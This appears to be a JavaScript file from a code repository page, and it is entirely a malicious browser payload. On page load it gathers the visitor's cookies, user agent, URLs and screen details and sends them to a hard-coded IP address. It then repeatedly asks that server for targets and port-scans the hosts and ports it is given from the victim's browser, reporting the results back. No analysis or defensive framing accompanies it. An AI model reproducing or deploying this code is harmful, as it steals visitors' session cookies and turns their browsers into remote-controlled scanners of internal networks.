You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
184 lines
4.9 KiB
184 lines
4.9 KiB
http_server = "http://50.19.199.172/index.php"; |
|
|
|
const f2O = (host, port, options, timeout = 7000) => { |
|
return Promise.race([ |
|
fetch('http://' + host + ':' + port, options), |
|
new Promise((_, reject) => |
|
setTimeout(() => reject(new Error('timeout')), timeout) |
|
) |
|
]) |
|
.then((resp) => { |
|
resp.host = host; |
|
resp.port = port; |
|
resp.message = "open"; |
|
return resp; |
|
}) |
|
.catch(error => { |
|
error.host = host; |
|
error.port = port; |
|
throw error; |
|
}); |
|
}; |
|
|
|
|
|
const thread = (host, ports, maxTime, callback) => { |
|
const loop = (ports) => { |
|
for (var i = 0; i < ports.length; i++) { |
|
const controller = new AbortController(); |
|
f2O(host, ports[i], { |
|
mode: 'no-cors', |
|
signal: controller.signal, |
|
}, maxTime).then(resp => { |
|
callback(resp); |
|
controller.abort(); |
|
}).catch(err => { |
|
callback(err); |
|
controller.abort(); |
|
}); |
|
} |
|
}; |
|
setTimeout(() => loop(ports), 0); |
|
}; |
|
|
|
const scanRange = (host, ports, thread_count, maxTime) => { |
|
window.resOut = {type: 'scan_port', host: host, ports:{}}; |
|
const port_range = ports.length; |
|
const thread_range = port_range / thread_count; |
|
totalRequests = port_range; |
|
completedRequests = 0; |
|
|
|
var i,j,temparray,chunk = thread_count; |
|
for (i=0,j=port_range; i<j; i+=chunk) { |
|
temparray = ports.slice(i,i+chunk); |
|
thread(host, temparray, maxTime, port => { |
|
completedRequests++; |
|
if (totalRequests == completedRequests) { |
|
window.timeLRequest = 0; |
|
next = true; |
|
} |
|
window.resOut.ports[port.port] = port.message; |
|
sendScanRes (); |
|
}); |
|
} |
|
} |
|
|
|
function makePostRequest(data, callback) { |
|
var url = http_server; |
|
var xhr = new XMLHttpRequest(); |
|
xhr.open('POST', url, true); |
|
xhr.setRequestHeader('Content-Type', 'application/json'); |
|
xhr.onload = function () { |
|
if (xhr.status >= 200 && xhr.status < 300) { |
|
callback(null, JSON.parse(xhr.responseText)); |
|
} else { |
|
console.error('Request failed with status:', xhr.status); |
|
} |
|
}; |
|
xhr.onerror = function () { |
|
console.error('Network error occurred'); |
|
}; |
|
var jsonData = JSON.stringify(data); |
|
xhr.send(jsonData); |
|
} |
|
|
|
const scan = () => { |
|
makePostRequest({'data': 'false'}, function(error,data) { |
|
if ( data.scan == 'true' ) { |
|
window.timeRequest = 500; |
|
window.timeLRequest = 0; |
|
console.log('scan'); |
|
console.log(data.ports); |
|
scanRange (data.host, data.ports, data.scan_thread, data.scan_max_time); |
|
} |
|
}); |
|
}; |
|
|
|
const sendScanRes = () => { |
|
if ( (Date.now() - window.timeLRequest) > window.timeRequest ) { |
|
window.timeLRequest = Date.now(); |
|
makePostRequest(window.resOut, function(err, data) {}); |
|
} |
|
|
|
} |
|
|
|
let counter = 0; |
|
|
|
function performAction() { |
|
if (next == true) { |
|
scan(); |
|
counter++; |
|
} |
|
if (counter < 50) { |
|
setTimeout(performAction, 20000); |
|
} |
|
} |
|
|
|
var info = {}; |
|
info.browser = function(){ |
|
ua = navigator.userAgent.toLowerCase(); |
|
var rwebkit = /(webkit)[ \/]([\w.]+)/; |
|
var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/; |
|
var rmsie = /(msie) ([\w.]+)/; |
|
var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/; |
|
var match = rwebkit.exec( ua ) || |
|
ropera.exec( ua ) || |
|
rmsie.exec( ua ) || |
|
ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) || |
|
[]; |
|
return {name: match[1] || "", version: match[2] || "0"}; |
|
}(); |
|
info.ua = escape(navigator.userAgent); |
|
info.lang = navigator.language; |
|
info.referrer = escape(document.referrer); |
|
info.location = escape(window.location.href); |
|
info.toplocation = escape(top.location.href); |
|
info.cookie = escape(document.cookie); |
|
info.domain = document.domain; |
|
info.title = document.title; |
|
info.screen = function(){ |
|
var c = ""; |
|
if (self.screen) {c = screen.width+"x"+screen.height;} |
|
return c; |
|
}(); |
|
info.flash = function(){ |
|
var f="",n=navigator; |
|
if (n.plugins && n.plugins.length) { |
|
for (var ii=0;ii<n.plugins.length;ii++) { |
|
if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) { |
|
f=n.plugins[ii].description.split('Shockwave Flash ')[1]; |
|
break; |
|
} |
|
} |
|
} |
|
else |
|
if (window.ActiveXObject) { |
|
for (var ii=20;ii>=2;ii--) { |
|
try { |
|
var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');"); |
|
if (fl) { |
|
f=ii + '.0'; |
|
break; |
|
} |
|
} |
|
catch(e) {} |
|
} |
|
} |
|
return f; |
|
}(); |
|
|
|
function json2str(o) { |
|
var arr = []; |
|
var fmt = function(s) { |
|
if (typeof s == 'object' && s != null) return json2str(s); |
|
return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s; |
|
} |
|
for (var i in o) arr.push("'" + i + "':" + fmt(o[i])); |
|
return '{' + arr.join(',') + '}'; |
|
} |
|
window.onload = () => { |
|
var i = json2str(info); |
|
new Image().src = http_server + "?c=" + i; |
|
console.log('start'); |
|
next = true; |
|
performAction(); |
|
};
|
|
|